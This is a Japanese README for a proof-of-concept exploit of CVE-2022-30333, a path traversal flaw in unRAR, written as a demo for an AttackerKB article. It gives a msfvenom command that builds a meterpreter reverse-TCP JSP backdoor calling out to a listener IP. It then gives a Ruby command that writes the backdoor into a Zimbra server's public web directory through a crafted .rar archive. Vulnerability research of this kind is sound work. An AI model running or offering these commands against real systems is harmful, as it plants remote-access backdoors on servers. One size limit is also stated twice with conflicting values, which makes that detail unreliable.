
CVE-2022-30333のunRARにおけるパストラバーサルに対する概念実証エクスプロイトです。悪意のある.rarファイルを生成し、任意のペイロードを攻撃者が指定した場所に展開します。
CVE-2022-30333(unRARバージョン6.11より前のパストラバーサル脆弱性)の概念実証です。AttackerKBの記事向けにエクスプロイトのデモとして作成し、近いうちにMetasploitモジュールに組み込む予定です!
基本的には、ターゲット(パストラバーサルを含む)とファイルデータを指定すると、このツールがその場所にファイルを展開する.rarファイルを生成します。最大ファイル長は104バイト、最大ファイル長は4096バイトです。(これは脆弱性に固有のものではなく、ファイル生成時に私が選択したものです)。
例えば、msfvenom でバックドアを生成します:
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.146 -f jsp -o payload.jsp
次に、.rarファイルを作成し、.jspを面白い場所に配置します:
$ ruby ./cve-2022-30333.rb '../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/backdoor.jsp' ./payload.jsp > file.rar